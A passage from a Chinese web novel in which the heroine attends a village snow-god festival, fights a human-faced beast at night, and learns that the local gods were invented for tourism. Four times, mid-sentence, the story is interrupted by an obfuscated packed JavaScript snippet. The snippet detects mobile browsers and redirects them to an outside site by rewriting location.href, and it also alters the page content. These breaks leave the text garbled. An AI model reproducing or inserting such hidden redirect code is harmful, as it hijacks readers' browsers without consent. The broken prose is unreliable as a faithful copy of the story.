王何驻花十块钱买了三个冻梨，又走过贩卖雪飘垫、塑料小铲子与帽子围巾手套的小摊，最后停留在一家卖祈福牌与彩纸的铺子前。她买下一张彩纸，借了支黑色水笔，思考片刻，随便写了几句话，就把彩纸揣进了口袋。 “阿姨，我想买许愿牌。”一个八九岁的小女孩从王何驻身边走过，右手拿着钱，左手牵着个更小的孩子，约莫刚学会走路，咬着手指跟在她后面。 “买嘛祈愿牌啊，老贵了，小孩子玩儿整点彩纸就行。”老板回到。她竟不坑小孩的钱。 “不，我妈妈说，贵的东西，许的愿灵，”小孩坚持要买祈愿牌，“请给我挑一个最灵的牌子。” 老板收了钱，居然花时间挑了下，选了个头最大的，递给了小孩。 王何驻这边把笔放桌上，小孩就踮着脚来拿，王何驻看到她够不着，顺手拿了笔递给她，小女孩道了声谢谢，咕咚一下趴在地上，仔细写起了字。 王何驻悄悄看了一眼，却见那孩子认认真真、一笔一画地写道： “希望爸爸在外地赚到很多钱，早点回家。” 广场中响起了急促的鼓声，随后一道浑厚而庄严的歌声响起，歌声里似乎带着远古时期的记忆，从林海、从高山、从荒原传来，有风的苍凉与雪的肃穆。王何驻踮起脚尖，往人群里头看去，只见一个身着彩衣，头戴高帽，浑身配满珠串与羽毛装饰的男性萨满，迈着激昂的舞步，一边敲鼓，一边唱歌，力量与柔韧性在他的躯体上碰撞融合。 游客与村民们伴着鼓声，手拉手，围着篝火，肆意地跳着舞，欢声笑语。王何驻没有加入，只静静地站在角落，房屋的阴影落在她脸上，火光又照亮了她半边脸。 鼓声停下，几个人抬上了三牲五谷、酒水糕点。萨满开始诵读祭文，王何驻听不懂，但心生憧憬，这可比金乌教给她的“叽里咕噜，小鸟打呼”咒更有仪式感。 萨满倒了一碗酒，喊道：“雪压老松，祷词入风。尔等祈愿，可入火中。” 大家沸腾起来，欢呼着“雪六来了”，纷纷往火堆里投入祈愿牌与彩纸。火蚕食着这些东西，好像神明在慢慢阅读人们的愿望。投完物件的人们闭着眼，双手合十，虔诚祷告，没有挤到篝火旁的人则紧紧握着手中写着愿望的木牌或者彩纸，盯着人群间的空隙，等待合适的时机。 王何驻刚在卖祈愿牌的铺子遇到的小孩也靠着身型优势，灵活地挤到了篝火旁，把木牌扔进火里，然后学着大人模样祈祷。周围的人很多，有人小声抱怨，却也有几人伸手，扶了一把被挤得差点跌倒的两个小孩。 王何驻在人们差不多都投完写着自己心愿的“灵物”后，才走入人群中，往篝火内投了自己的彩纸。 彩纸刚入火堆，霎时间，狂风大作，竟吹灭了篝火。这个风极大，广场周围的广告牌都被掀翻了，没贴好的对联被风吹得簌簌作响。有屋子挂着的红灯笼掉落在地上，里面的小灯闪烁了几下，便暗了下去。 木屑和灰烬和吹向火堆外，人们纷纷支起胳膊，眯着眼躲避。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438721|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一片叮咚哐当的声响中，王何驻突然被一阵透骨寒意裹挟，那一瞬间，她发现周围的躁动都消失了，此刻是无边的寂静，只自己一人站在熄灭的火堆前，而火堆的另一边，是来自蛮荒的兽。 它身体庞大，长着马的蹄子，牛的尾巴，火红的皮毛，以及一张——人的脸。祂低下头，静静地盯着王何驻。王何驻纹丝不动，双手插兜，仰头与祂对视。 他们在彼此的眼中看到了杀意。 “大妹子，你可遇上麻烦了。”一道声音打破了僵持，王何驻回过神来，又落在嘈杂的广场前了，她身边站着“萨满”。 这位“萨满”是个中年人，身型枯瘦。没想到跳出那样刚柔并济的舞蹈的人，竟像是大病初愈。 “萨满”询问王何驻是否知道关于“神的考验”的事，王何驻微微颔首，示意自己已经知晓。 “这考验可不容易，一不留神就能把命丢了。昨日‘风二’抓走了一个小伙子，那小伙子先前从我这买了瓶‘圣水’，今日便被神救了下来。你看……”“萨满”说着，不知从哪摸出了一瓶矿泉水，原装的水被倒掉了，现在瓶子里装着其他液体。 “你这‘圣水’，多少钱一瓶？ “两百！” “昨天不还卖180吗？” “啊？你认识……嗯，今天风大，涨价了。” “那不买了。” “可以给你优惠，180卖你。” “不买，太贵了。” “150。” “还是贵。” “这可是关系到你自己性命的事，150哪里贵了？一直以来都这么卖，觉得贵了应该反思一下自己。” 几番来往后，王何驻还是花20块买下了“圣水”，因为她发现在和“萨满”扯皮的过程中，自己竟有点口干舌燥了。“萨满”则表示自己是真为了她性命着想，才愿意以这样低的价格将“圣水”卖给她的。 “你干这行多少年了？”王何驻拧开圣水瓶盖，喝了一口，被苦到呛了几口。 “七八年了吧。这水你可别吐，与神建立联系是必需要苦的，不吃苦见不到神。” “只有七八年……前任萨满做了几年？” “什么叫‘只有’，没有前任，我就是这里最初的萨满。”萨满反驳道，又转移话题：“你回去的时候，可得小心着，‘风二’来的时候，都不知道是什么时候。对了，你住哪啊？” “刘大娘家。” “查丫头家啊……” “你和那户人家很熟？”王何驻蹙眉。 “不，不熟……她家很多年前死了个人，请我去驱过邪。” “是她家老人过世吗？生老病死是常态，也需要驱邪？”王何驻尝试套话。 “不是这里人，是个搞开发的。诶，你甭管那么多了，今晚注意些。保持对神的敬畏啊。” 9. 归乡篇·九 考虑到左腿伤势不便行走，王何驻找了辆马拉爬犁将她载回刘大娘家。这是一种结构简单、流行于北方地区的交通工具，由一匹马拉着铁皮和木材制成的爬犁在冰雪面穿梭。“爬犁”在东北的方言里，是一种贴地滑行的载具，由于传统的车轮在行驶过程中容易陷入积雪或者打滑，当地选择了这种无轮结构的简易载具，以滑行的方式代替滚动，减少在深雪中前行遇到的阻力。 一个带着毛绒雷锋帽，穿着棉背心的中年男子站在车上，拿着缰绳和马鞭控制着马匹行驶方向。马有自己的行驶节奏，这位车夫很少用皮鞭抽他的马，更多以“吁”的口令指挥着它。 爬犁采用半开放式设计，没有顶棚等挡风设计，据说是为了减轻马匹的负重，同时降低风阻，避免被大风吹离了方向。王何驻坐在爬犁上，直面风雪，摇摇晃晃，被路上凸起的石块带着颠了几下后，才小心地握住了围挡。 她低头复盘着今日获悉的信息。 一日之内，她就打听到了四起关系到人命的传闻。一起由萨满所述，发生在更早之前，结合萨满任职时间以及找他跳大神驱邪的行为来看，不会早于七到八年，那时民宿尚未易主，主人还是查奶奶，死者为“搞开发的”，与雪中来客栈老板提及的“查奶奶在雪草村旅游开发时期与开发者闹出了不少矛盾”对应； 一起就是两年前查奶奶的离世，王何驻先前在客厅看到的黑白照，或许便是她的，她的死因没有外人提出质疑，更像是年岁上去后难以避免的离别，不过诡异的是，在她去世后，刘大娘又回到雪草村，并接管了她的房子； 两起命案与刘大娘有关，更早之前的死者是刘大娘的哥哥，早于两年前，那时刘大娘还借住在他家，他死于酒精中毒，乡间传闻中，刘大娘是凶手。最近的，虽不能说一定是死了，但大概率没有好结果——刘大娘的侄子，也就是她死去的哥哥的儿子，他曾将刘大娘驱逐，并于两周前的“雪神祭”失踪，至今没有消息，村里人都认为他被“风二”抓走吃了。 巴士导游与陈璐仁提供的信息里，此地有一神一兽，神名“雪六”，庇护当地村民，却也纵容爱宠伤人，他极度看重村民的“敬畏之心”；兽名为“风二”，继承自多年前离开的风神“风二”，是个缝合型的不死怪物，王何驻与祂打了两次照面，一次在神庙，一次在刚刚的雪神祭，当然，王何驻相信不久后自己又得见下祂。只是这里雪神、风神的口述形象，实际见到的兽“风二”的模样，与王何驻所持“山海生灵图”所指出的半人半蛇型生物都没有什么相似之处。或许是“山海生灵图”绘功太抽象了。 当然，此地信仰也存在蹊跷，比如“雪神祭”的举办时间，首任萨满的工龄。 还有将王何驻骗去神庙的那个神秘人，大家都说是“雪六”，王何驻并不妄下定论。神庙上发生的事也过于奇幻，她甚至都不知道那个“禹步独行”的具体执行方式，就莫名其妙破了困局。 马拉爬犁一个缓坡下行，打断了王何驻的思路。她乘坐的这辆爬犁十分简陋，底部的木板似乎有些松动，王何驻总担心它走着走着就会散架，幸好它最后还是“咯吱咯吱哐当哐当”地把王何驻送回了民宿。 刘大娘家的小院在夜晚十分安静，平方屋顶下挂了许多灯笼，将暗红色的光投在雪地上。和王何驻一路看过来的民宿不同，她家民宿没有使用在这里非常受欢迎的彩色LED灯，也没有像其他人那样在屋外或者院内堆几个雪人。 王何驻走进客厅，发现赵尔雅正一个人静静地坐在圆桌旁，低着头，像在思考，她的手边放着一壶酒。大黄狗趴在她脚边，啃着骨头。她今日穿着针织长裙，没有束发，栗色的长发自然垂落在灰色呢子大衣上。 看到王何驻，赵尔雅笑了，水光自她眉眼间漾开，她嘴角弯弯，举着杯子招呼她喝酒。她的手很好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438722|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看，淡粉色的指甲扣在玻璃杯上，像春日的桃花。 王何驻拒绝了赵尔雅的邀请，童年的记忆里，她的父亲总是烂醉如泥，在饮酒后又哭又笑，对身边的人滥施暴力。幼时的王何驻记住了父亲酒后的丑态，即使如今的她已是大人的年纪，依旧坚定地拒绝烟酒。 “感冒好些了吗？”王何驻随口问道。 “好些了。只有点咳嗽。” “那尽量不要喝酒吧，和药对冲。” “没关系的。药我没怎么吃，我对头孢这些过敏。”赵尔雅下意识摸了下脸颊，因为醉意，她的脸有些红，“这是刘大娘亲手酿的酒，你不想尝尝吗？她可是酿酒的高手。” “不了，我不喝酒的。” “你出去一趟，在外头听到了什么传闻吗？关于这家民宿的？”赵尔雅低头又给自己倒了一杯。 “听说了一些，只是些无根据的八卦。”王何驻笑笑，走进了厨房。 厨房堆了一些干货，十分拥挤，刘大娘正往灶里头添柴。 “请问能不能给我一把刀？”王何驻问道。 “刀？要刀做什么？”刘大娘慢吞吞地从灶台一侧探出半张脸，她的脸上粘了点灰。 “切冻梨。” “砧板上有，你拿那个去。”刘大娘又默默地消失在灶台后了。 王何驻在砧板上寻到了一把刀，用水冲洗了一下，塞进包里，便出了厨房。 路过客厅时，大黄狗看到王何驻，叫了两声，跟在着她走。 “它今天精神一直不是很好，可能吃坏肚子了，看到你，倒是活泼得很。”赵尔雅笑道。 王何驻蹲下来，摸了摸它的脑袋：“我可以把它带回房间吗？”她抬起头，问赵尔雅。 “如果不嫌吵的话，可以带回去，我到时候跟刘大娘说一下。” “对了，它叫什么？” “大山。” 10. 归乡篇·十 王何驻抱着狗回到房间，发现炕已经暖上了。她检查了一下行李，没有被翻动的痕迹，便锁上门，去卫生间洗了澡。 洗完澡，她从随身携带的箱子里取出吹风机，又抽出一袋真空包装的卤鸡腿，喂给大山。 她没有留长发，不多久，头发就吹干了。她把电吹风插头从插座上拔下，又从包里掏出陈璐仁送她的充电线，给手机充上了电。眼看手机开机，她又打开“语音备忘录”功能，按下了录音键，拉上窗帘，然后回到炕上。 东北的炕床十分暖和，木柴在灶洞里燃烧，发出噼啪的响声，但并不吵人。王何驻坐在炕上，检查着从神庙里带回的香灰炉。刀被她放在枕下。她不准备睡去，她在等那家伙的造访。 大概是凌晨一点左右，房间的灯熄了，她听到了婴儿的啼哭声。大山被惊醒，吵窗外吠了两声。 王何驻翻身，自枕下取出菜刀。 “来者可是‘风二’？”她向着漆黑的后院问道，“或者有其他名字，也请报上。” 无人应答。窗户大开，借着白雪反照的月光，那兽踏入屋内，盯着王何驻。祂的那张人脸好像在笑，又像在哭，唾液自祂嘴角流下。 “吾旧日之名讳已被遗忘，此世众生不再呼得吾名。你无需为之盘尽肠计，吾会吃掉你的血肉，但也会为你留下骨头。不必谢我，这是慈悲。” 祂对着王何驻说道，便张开了嘴，露出獠牙。 王何驻没有犹豫，挥刀就照着祂的面门砍去，兽甚至没有躲，那刀砍在祂脸上，留下一道血痕。王何驻反应迅速，侧身一滚，趁那兽扭头咬她，双手握着刀，向那祂暴露出来的颈部用力挥去。 电光火石间，刀子从刀柄脱落。 那兽看着这个不自量力的人类，嘴角咧开大笑，泪水却流了许多，既像在奚落，又像在悲泣，王何驻砍出的伤口因着祂夸张的面部动作被撕裂，血珠自祂脸庞滚落，祂却只笃定地靠近祂的猎物。 忽然，祂的动作一滞，大山咬住了祂的尾巴。祂轻轻一甩，大山被甩出窗外，砸在深厚的雪堆里，发出委屈的呜咽。 王何驻找准时机，将神庙寻来的香灰炉砸在祂眼上，然后迅速掏出“圣水”，往祂伤口撒去。20块钱是买不到什么货真价实的驱邪工具的，但是这个不知道被下了什么猛料的水，可以让祂的伤口疼一下。 趁祂愣神，王何驻翻身下炕，打开卫生间的门，然后弯腰矮身跑了进去。那兽庞大的身躯在屋内活动有些限制，祂本想将她拖出窗外，却没想到她躲进了更狭窄封闭的房间，这下更难办了。 祂悠悠踱步转身，然后抬起蹄子，向王何驻冲来，却在下一刻，猛地栽倒在地，头正好摔在王何驻身前。那是王何驻提前设计的机关，她将之前在休息站摔折了接口的废弃充电线绑在两侧门框上，做成了简易的“绊马索”。既然有着马的蹄子，也该有马蹄的弱点，古人在战场上发现了让奔跑的战马骨折的方法，王何驻就地取材，借鉴了一下古人的思路。 王何驻看祂倒了，抄起放在角落的马桶搋子，就往祂嘴上招呼。兽挣扎着要起身，王何驻掏出脖子上挂着的玉石，尝试念咒收祂。 这枚玉是金乌给她的，据说由扶桑叶所化，只是必须摧毁了神异之物的躯体，让魂魄没了依凭之处，方可作收纳之用。王何驻试了下，那玉果然没有反应，只像个普通装饰。 现下王何驻没有任何摧毁祂身体的工具，厕所里能当武器用的只有那个皮搋子，但它造成的物理伤害似乎并不如精神伤害。 正当王何驻思考着是用皮搋子捅那兽的鼻孔，压干空气，令其窒息，或者倒点沐浴露洗发露消毒液混在一起灌进兽的嘴巴，毒死祂的时候，那兽也看到了王何驻手里的玉。 “原来是……那位大人。”兽的喉咙里发出古怪的笑声，“我们还会见面的。” 然后那怪物便消失在了房间，皮搋子掉落在地板上。 王何驻回到房间，望着大开的窗户，寒风灌入房间，除此之外再无其他。她合上窗，却发现没法完全关上，大概 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438723|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是某个零件出了问题。 见那兽没有杀个回马枪的打算，王何驻方才松了口气，去后院捡回了躲在草垛里呜呜唧唧的大山。 回到屋内，她将大山放在炕上，然后检查了一下它的身体，幸好雪足够厚，大山只是摔疼了，并无大碍。 她简单收拾了一下屋内。充电线被扯坏了，刀子脱了柄，香炉却好好的。从窗的缝隙溜进来的风将被兽撕破的墙纸吹得沙沙作响，王何驻走进查看，发现墙纸之下的石灰墙上还粘着奖状，奖状的得主名为“查二丫”。 她在睡前检查了一下手机的录音，来回听了许多遍，也只有大山和自己发出的声音，没有那东西的。看来科技在这里还是有点局限性。 大概清晨五点左右，王何驻方才睡去，不过这个点儿，她听到了前院有人在活动。老人总是醒得很早，王何驻心想。 王何驻这一觉睡到了中午。当她局促地将损坏的刀子还给刘大娘时，她捕捉到了刘大娘眼中的惊愕。 “你拿它干什么去了？”刘大娘问道，声音又惊又怒。 “切冻梨啊。”王何驻努力让自己的声音听起来诚恳。 “你切冻梨把刀把儿都整掉了？！” “嗯。那冻梨冻太结实了，”王何驻面不改色，“我赔你钱。” “不用了，放那儿就行。”刘大娘指了指桌子。 “还有一件事……”王何驻看了眼刘大娘，接着道，“那个窗不知为何关不上了。” “那是钉死的……你把窗也倒腾坏了？！” “我会帮你修好的。”王何驻回到，却没有立刻离开的意思？ “你怎么还杵这儿？” “嗯……那个……请问有没有双面胶之类的东西？” “窗子得用钉子，双面贴没用。”刘大娘愣了一会儿，神色不快道。 “我不是想用双面胶粘窗户，窗户我会另外想办法的。我想用它贴一下墙纸。” “墙纸咋了？” “也坏了。” 11. 归乡篇·十一 王何驻在刘大娘的冷冰冰的注视下贴完了墙纸，准备把窗子也钉一下，却被告知没有锤子。于是她裹上围巾，计划去附近的其他民宿借一把。 她走了有一会儿，来到距离最近的民宿，正遇上一些人，慌慌张张地抬着什么东西往院子里去。 她叫住其中一人，询问发生了什么，那人只说，“发现死人了”。 死者是刘强壮，刘大娘的侄子，两周前在“雪神祭”失踪的人。 与其他失踪的人不同，他的尸体被找到，并且没有兽类啃食的痕迹。 民宿主人家是刘强壮的妻子，她奔溃地朝着围观的人群嚎啕。虽说刘强壮失踪时亲眷都已经哭过了，且不认为他还有生还的可能，只是直面尸体时，还是没能控制住情绪。 王何驻的情商虽不稳定，却也知道这种情况下不适合借锤子，混在人群中观察了一下，便离开了。 “大山，回——家——，大——山——，回——家——了——，大——山——”赵尔雅在刘大娘家附近唤着狗，然后“欻”的一声，自王何驻身后窜出了条大黄狗，快活地奔向赵尔雅。 “你做什么去了？”赵尔雅抱起了大山，问道。 王何驻没有回答。 “在想什么呢？那么投入。” “啊？你在问我？”王何驻回过神。 “对啊。这里只有你吧。” “抱歉，我以为你在问大山。我刚借锤子去了。” “借这个做什么？” “窗户坏了，我想我需要修一下。” “窗子怎么坏了？借到了吗？” “没有。”王何驻不准备解释窗户是如何坏掉的，只是和赵尔雅一起回屋的时候，将自己借锤子时的所见如实告知。 听到发现了刘强壮的尸体，赵尔雅的脸色微微泛白，或许是被吓到了。 雪草村的夜晚总是来得过早，王何驻躺在炕上，窗户缝吹来的寒风让她裹紧了被子。她猫在被窝里，思考着神兽、锤子、刘大娘、刘强壮种种。 窗外响起敲门声。王何驻下炕床，开了门，发现是赵尔雅。 “刘大娘不在家里。我想出去吃晚饭，你也一起去吗？”赵尔雅说道，她穿戴整齐，背着单肩包。 “我去，稍等。”王何驻回到炕上，取了外套和围巾，与赵尔雅一起住了门。 天已经彻底暗了，雪草村的房屋像一头头狗熊，趴在荒野上。白雪铺就的小路周围有路灯，但是灯光很暗。王何驻跟在赵尔雅身后。 “你的腿受伤了？”赵尔雅问道。她发现王何驻走得有些慢，回头看她，才发现她的走路姿势有些异样，似乎一直忍着痛。 “是的，左腿意外摔伤了。” “严重吗？需要碘伏或者药水吗？” “还好，只是有点疼。已经上过药了，不影响。” 赵尔雅没说话，却放慢了脚步，让王何驻能够跟上她。 赵尔雅带着王何驻兜兜转转，来到一家以铁锅炖为特色的乡村饭店。饭店很大，灯火通明，里头放着大大小小的地锅台。这是一种在地面上搭建的灶台，桌上是一口大锅，桌下是烧柴火的灶，锅子周围腾出空位，为临锅就餐提供便利。 赵尔雅招呼王何驻落座，询问她的意见后，点了份铁锅炖排骨。 老板娘拿着木柴，往灶里添火，她的丈夫正同客人聊天。王何驻取来水壶，给自己倒了杯热水，然后低头喝着。她早就习惯一个人吃饭，现在对面坐着另一个人，她有些局促。 “刘大娘她……”王何驻试探着开口。 刘强壮是刘大娘的侄子，他曾将她驱逐出他的房子，害她无处安歇。两人虽是亲戚，却好像仇人。如今刘强壮的尸体被发现，不知道刘大娘做何想法，今晚又缘何不在。 赵尔雅深深地看了王何驻一眼，问道：“你在关心她，还是在怀疑她？” 王何驻沉默了，她确实有一些猜测。如果一个人被全村人怀疑杀死了自己的哥哥，当她哥哥的儿子也死于非命，人们会自然而然地觉得，她与此事脱不了干系，尽管这些都只是人们空口的评说，没有什么实际根据。 “刘大娘是个苦命的人，”赵尔雅也给自己倒了杯水，抿了一口，说道： “大家都说，刘大娘赖在她哥哥家不走，她的哥哥收留了她。可是，那座屋子，本就是她自幼生活的地方。 一个人，因为出嫁，离了家，她的父母去世后，就将土地和房产全都给了儿子。哪怕这个家曾经是父母、哥哥和她共同生活的地方，却没有给她留下任何位置。因为她是女人。在传统的认识里，出嫁后的她，就再不属于这个家了。他们明明和她一起生活了二十多年，却好像并不把她当作自己的家人，理由仅仅是她生下的孩子大概率不会承她的姓。 她是如此能干。你知道的，她很擅长酿酒，她比她那哥哥更勤快，她的哥哥只知道喝酒，但是她没有分到什么财产。她的父母不想将财产交给‘别家的人’。 她的丈夫身患重病，一穷二白，和刘大娘辛苦了几十年，却好像白忙活，赚到的钱全拿去看了病，没攒到什么钱。刘大娘没有孩子，丈夫死后，她丈夫的亲戚又将她赶走。他们也不把她当作家人，因为她带着别家的姓，却没有给他们家留下子嗣。 当她浑浑噩噩地回到雪草村，却遭到了亲人的厌弃。她求了好久，她的哥哥才允许她住进她从小居住的房间。 她的哥哥没能靠着本事从外人那获得尊重，就仗着性别在屋里头逞他的威风。他自以为一家之主，使唤她干活，醉酒后，又打她出气。他觉得自己如果不收留刘大娘，这间屋子便可作为民宿的客房，接待游客。因为她，他失去了一间房的收入来源。 刘大娘承担了所有的杂务，打扫卫生，洗衣服，喂马，做饭，酿酒。做民宿的需要及时更换床单，他哥哥舍不得多备几条给客人用，就靠着刘大娘每天清洗。你可能没有注意过她的手，全是冻疮结痂后留下来的疤。 没有人生来就该被人如此对待，以刘大娘的视角来看，她并没有做错什么，她只是个普通的、没有接受过教育的人，她想不明白自己的尊严为何被如此践踏，她想不明白为什么自己受尽了委屈，她更不知道自己应该如何做。 酗酒让她的哥哥丢了性命，村民却把她当作了嫌犯。你会不会觉得这一切很可笑，原来他们都知道她的遭遇，知道她被如何对待，并且相信这构成她杀人的动机，在此之前，却没有人对她流露同情或者施以援手。 她的侄子赶走了她，理由是克死了两个男人。现在，她侄子死了，她又被当成了嫌犯。” “排骨来了！”饭店的老板娘打断了赵尔雅的故事，她麻利地将切好的排骨倒入铁锅，又端来一个放着面团的不锈钢盆，食指拇指一合，从中截了一小块米黄色的面团，双手将它揉搓成球，又拍成小小的饼，贴在锅子周围。 赵尔雅被打断了叙述，也不恼，只是打量着王何驻。 “谢谢你告诉我这些，尔雅，”王何驻的声音听不出情绪，她犹豫了一下，还是道出了心中的疑惑，“我想知道，我们现在所居住的这家民宿，它过去的主人的事。为什么这间民宿归了刘大娘。” “你还真是……油盐不进，”赵尔雅叹了口气，“其实也没什么可说的，只是这家六年前死了个开发商。 那时候，雪草村的开发与经营不像现在这样有序，有人趁着规则还未建立，要从中谋利，提出收购大家的屋，作为民宿，统一管理经营，再给村民发钱。这屋的旧主不愿意。其实大家都不太愿意，因为给的钱实在太少，但那开发商偏挑只有老人孩子的家折腾，为了立威，给了她家按照自己意思开的价，然后大剌剌强行住进人家屋里，还指挥主人给他烧炕，因为不习惯烧炭取暖的形式，非要堵了所有缝防风，然后一氧化碳中毒死了。 老太太为人处事都还不错，生前也没人乱说，她死后，就有传那家是凶宅的。刘大娘被侄子赶出家后，许是去外地打工攒够了钱，回家折价买下了这屋子。” 排骨在锅中煮着，老板娘为锅子加上了盖，吩咐等一会儿再吃，便又去后厨忙着了。 王何驻并不发表意见，只是低头思考，随后开口转了话题，没再聊这些人命案子，只道：“尔雅，这座村子里，是不是有座神庙？” “确实有座神庙，那庙有些玄乎，几乎没什么人敢去。而且去那的路也不好走。” “我无意间到过那里，那座庙似乎有点古怪。它看起来比较新，应该是在原本的神庙上重新修缮过的。它一直以来供奉的都是雪六风二吗？”王何驻问道。 赵尔雅有些惊讶：“你还去过那里？你怎么去的？” “被一个缺德鬼骗去的。”王何驻把自己被黑袍怪人叫去送酒，却走到神庙，救下了一位埋在雪里的游客，又稀里糊涂地下山的事简单说了下。 “你也是怪才，竟一个人闯进去，还回来了。 那座神庙，供奉的确实不是雪六风二，而是位名字被遗忘的神明。我们所在的林场，名字叫‘不呼名’，也因为这位。人们没法呼唤祂的名字，是祂定下的规则。这里很多老人都信祂。 后来这个村搞旅游开发，请了专家进行规划，那些人认为，这座村子需要打造自己的IP，创造一些吸引游客的故事。因为不知道这位神的名字，于是学者团队从一堆神话传说、民间故事里，选择了与‘冰雪’这一主题更为契合的雪神‘滕六’，也就是滕文公。他们把别处的信仰糅了进来，生造了‘雪六’这个神，和这个作为噱头的‘雪神祭’。 起初这里的人都是不爱这个新神的，更不愿意为了招揽游客，年年办这‘雪神祭’。只是后来，村里人从生活取材，给这个‘雪六’编了许多故事，这些故事融合了当地人的境遇，能够引起共情，于是，有很多人开始信这个神了。 比如，我们所在的这座村子，在发展旅游业前，没多少钱。许多青壮年外出求学或者谋生，多年不曾归家，于是就有了‘风二’南下，‘雪六’守在这里，等他归乡的故事。大家相信，‘雪六’会等到‘风二’，就像这里的留守老人与孩子，都能等回自己的孩子和父母。他们把愿望投入篝火里，既为自己许愿，也为‘雪六’‘风二’许愿。很多在外人看来滑稽又迷信的行为，只是对现实的一种投射，他们希望通过一些仪式，解决来自现实生活的迷茫。” “原来如此，‘雪六’‘风二’只是为吸引游客所虚构的，”王何驻思考着赵尔雅提供的信息，尽管面上没有显出太多情绪，内心却实在松了口气，此前关于“雪六”“风二”的疑虑有了回应，看来栖身此地的大能，不算超纲，“你方才说，那个神庙有些玄乎，是什么意思？” “你也发现了，那座庙曾经被修缮过。在进行旅游开发时，有人想根据旅游规划，把它改造成‘雪神庙’，作为旅游景点。但是工人们很快发现，那座神像根本无法拆除。具体如何，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438724|169330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不清楚，只知道施工的人一去未归。后来上山的人经常迷路，找不到它在哪。 我很好奇，你在那座神庙，遇到了什么，又如何全须全尾的回来了，还带回了一个人。” “那座神庙困住了我。我也不知道自己是如何离开的。我在神庙的香灰炉中发现了‘禹步独行’的字样，但我并没有解开这个谜底，却也下山了。” “……禹步啊。据说，大禹治水时，因为长期跋涉、下水，留下了偏枯之症，腿脚不便，行走时多为跛行。古时的巫觋认为这种步伐具有神性，便争相模仿，形成了特殊的舞步，用于祭神。在后世的传说里，这种步伐能够请神驱邪。 你破了困局，或许因为，你摔伤了左腿，又拖着人，误打误撞走出了禹当年为了拯救众生，在治水路上奔波劳碌的步子，”赵尔雅笑道，“那人正好晕着，便只算你独行。你的运气也是独特。” 王何驻恍然大悟，心道是金乌的“祝福”起了作用。她与金乌结契时，金乌用所剩不多的神力为她降下了庇护，所谓庇护名“祸福相倚”，具体解释起来比较抽象，大概就是在陷入僵局时，总会遭难，然后误打误撞破局。 王何驻在心里吐槽过这个祝福，因为它总害自己莫名其妙倒一下霉，比如吃了外卖后食物中毒，走路一头撞上电线杆，玩游戏抽卡要到大保底才出一个想要的角色。 当然，后续的发展还算积极，食物中毒导致租房附近垃圾场旁的黑心食物作坊被媒体曝光，撞上电线杆后替小区解决了因鸟类在杆顶上筑巢导致的电路短路问题，并且戒掉了玩了五年的抽卡氪金手游，虽然关于“抽卡吃满大保底”一事，金乌无论如何也不承认是“祸福相倚”的作用。 因金乌祝福而频繁陷入麻烦的王何驻认为，如果她是一本小说里的角色的话，这庇护其实并不像给她的金手指，倒像是作者给自己开的便利，一旦剧情进展不下去了，就给王何驻安排个祸事，然后推动她将剧情走下去，若有人问起剧情衔接的古怪强行之处，就可以解释成，“啊，是‘祸福相倚’发力了”。反正承受飞来横祸的是她王何驻。 灶桌下的火噼里啪啦地烧着，用于生火的木柴是此地多见的衫木，劈得并不匀称，在燃烧时极容易断裂，木头碎片带着火焰被气流炸出灶洞。 王何驻看着被炸到地上的木头，确认上面的火在接触到瓷砖铺就的地板后熄灭，才移开视线。 “你害怕吗？”赵尔雅突然问道。 “害怕什么？” “害怕这种地锅台会突然爆炸，害怕山上的神庙与‘雪神祭’的故事，害怕村落里莫名其妙失踪或者死亡的人，害怕自己可能与杀人住在一起。” “或许有一瞬间会觉得惊诧，但这种感受并不长久，不足以构成害怕。灶桌如果有问题，我思考的是如何避险。神话与传说固然古怪，也多来自人的叙述，当你身处其中，只会想着让自己脱困。我只是见证失踪与死亡，当然，我希望自己能够尽可能帮助他人规避这些惨案。杀人犯的话，自有法律的裁决。” “看起来你很信任人的能力，但如果你面对的是‘神’呢？如果我告诉你，在这些旅游噱头之下，真的存在‘神’呢？传说里凡兽‘风二’的原型，你不害怕吗？” 